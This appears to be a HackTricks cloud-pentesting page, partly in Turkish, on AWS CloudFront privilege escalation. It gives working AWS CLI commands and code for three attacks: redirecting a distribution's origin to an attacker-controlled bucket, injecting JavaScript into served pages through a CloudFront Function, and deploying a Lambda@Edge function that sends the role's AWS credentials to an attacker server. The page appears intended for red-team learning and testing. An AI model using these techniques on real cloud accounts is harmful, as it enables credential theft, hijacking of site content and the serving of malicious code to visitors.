AWS - CloudFront Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

CloudFront

cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig

cloudfront:UpdateDistribution ve cloudfront:GetDistributionConfig izinlerine sahip bir saldırgan, bir CloudFront dağıtımının yapılandırmasını değiştirebilir. Hedef S3 bucket’ı üzerinde doğrudan izinlere ihtiyaçları yoktur; ancak o bucket, cloudfront.amazonaws.com service principal’dan erişime izin veren gevşek bir politikaya sahipse saldırı daha kolay olur.

Saldırgan, bir dağıtımın origin yapılandırmasını başka bir S3 bucket’ına ya da saldırganın kontrolündeki bir sunucuya işaret edecek şekilde değiştirir. İlk olarak mevcut dağıtım yapılandırmasını çekerler:

aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json

Sonra current-config.json dosyasını düzenleyip origin’i yeni kaynağa yönlendirirler — örneğin farklı bir S3 bucket:

...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...

Son olarak, değiştirilen yapılandırmayı uygulayın (güncellerken mevcut ETag’i sağlamalısınız):

CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction

An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.

The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:

function handler(event) {
var request = event.request;
var response = event.response;
// Kötü amaçlı JavaScript içeren yeni bir body oluştur
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Kötü amaçlı JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Body'yi tamamen değiştir
response.body = { encoding: "text", data: maliciousBody };
// Başlıkları güncelle
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}

Commands to create, publish and attach the function:

# CloudFront'ta kötü amaçlı fonksiyonu oluşturun
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js

# DEVELOPMENT aşamasındaki fonksiyonun ETag'ini alın
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

# Fonksiyonu LIVE aşamasına yayınlayın
aws cloudfront publish-function --name malicious-function --if-match <etag>

Add the function to the distribution configuration (FunctionAssociations):

"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}

Finally update the distribution configuration (remember to supply the current ETag):

CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG

lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution

An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.

The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:

// malicious-lambda-edge.js
exports.handler = async (event) => {
  // Obtain role credentials
  const credentials = {
    accessKeyId: process.env.AWS_ACCESS_KEY_ID,
    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
    sessionToken: process.env.AWS_SESSION_TOKEN,
  };
  // Send credentials to attacker's server
  try {
    await fetch("https://<attacker-ip>/steal-credentials", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(credentials)
    });
  } catch (error) {
    console.error("Error sending credentials:", error);
  }
  if (event.Records && event.Records[0] && event.Records[0].cf) {
    // Modify response headers
    const response = event.Records[0].cf.response;
    response.headers["x-credential-theft"] = [
      {
        key: "X-Credential-Theft",
        value: "Successful",
      },
    ];
    return response;
  }
  return {
    statusCode: 200,
    body: JSON.stringify({ message: "Credentials stolen" })
  };
};
# Lambda@Edge fonksiyonunu paketle
zip malicious-lambda-edge.zip malicious-lambda-edge.js

# Ayrıcalıklı role sahip Lambda@Edge fonksiyonunu oluştur
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>

# Fonksiyonun bir sürümünü yayınla
aws lambda publish-version --function-name malicious-lambda-edge --region <region>

Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:

"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}
# Güncellenmiş distribution yapılandırmasını uygula (mevcut ETag kullanılmalı)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

# Dağıtımı isteyerek fonksiyonu tetikleyin
curl -v https://<distribution-domain>.cloudfront.net/

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin